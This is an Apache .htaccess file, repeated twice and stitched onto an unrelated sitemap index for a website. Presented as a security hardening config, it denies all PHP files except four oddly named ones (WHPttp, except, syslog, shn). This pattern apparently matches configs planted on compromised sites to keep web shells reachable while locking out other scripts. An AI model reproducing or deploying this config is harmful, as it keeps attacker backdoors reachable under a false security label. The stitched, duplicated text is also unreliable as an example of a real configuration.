# Block direct access to all PHP files except specified ones
# Covers all common PHP file extensions
<FilesMatch "\.(php|php3|php4|php5|php7|php8|phtml|pht|phps|shtml|inc|tpl)$">
    Require all denied
</FilesMatch>

# Allow specific PHP files to be accessed
<FilesMatch "^(WHPttp|except|syslog|shn)\.(php|php3|php4|php5|php7|php8|phtml)$">
    Require all granted
</FilesMatch>

# Show forbidden message for blocked files
ErrorDocument 403 "403 Forbidden: Direct access to this file is not allowed."

# Hide .htaccess files from being accessed directly
<Files ".htaccess">
    Require all denied
</Files>

# Prevent directory browsing
Options -Indexes

# Additional security headers (if mod_headers is available)
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
    Header always set X-XSS-Protection "1; mode=block"
</IfModule># Block direct access to all PHP files except specified ones
# Covers all common PHP file extensions
<FilesMatch "\.(php|php3|php4|php5|php7|php8|phtml|pht|phps|shtml|inc|tpl)$">
    Require all denied
</FilesMatch>

# Allow specific PHP files to be accessed
<FilesMatch "^(WHPttp|except|syslog|shn)\.(php|php3|php4|php5|php7|php8|phtml)$">
    Require all granted
</FilesMatch>

# Show forbidden message for blocked files
ErrorDocument 403 "403 Forbidden: Direct access to this file is not allowed."

# Hide .htaccess files from being accessed directly
<Files ".htaccess">
    Require all denied
</Files>

# Prevent directory browsing
Options -Indexes

# Additional security headers (if mod_headers is available)
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
    Header always set X-XSS-Protection "1; mode=block"
</IfModule><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://barahnaja.com/sitemap-stylesheet.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>https://barahnaja.com/post-type-page-sitemap-1.xml</loc>
    <lastmod>2025-11-30T18:08:59+00:00</lastmod>
  </sitemap>
  <sitemap>
    <loc>https://barahnaja.com/post-type-post-sitemap-1.xml</loc>
    <lastmod>2025-11-30T18:08:59+00:00</lastmod>
  </sitemap>
  <sitemap>
    <loc>https://barahnaja.com/post-type-sureforms_form-sitemap-1.xml</loc>
    <lastmod>2025-11-30T18:08:59+00:00</lastmod>
  </sitemap>
  <sitemap>
    <loc>https://barahnaja.com/taxonomy-type-category-sitemap-1.xml</loc>
    <lastmod>2025-11-30T18:08:59+00:00</lastmod>
  </sitemap>
</sitemapindex>
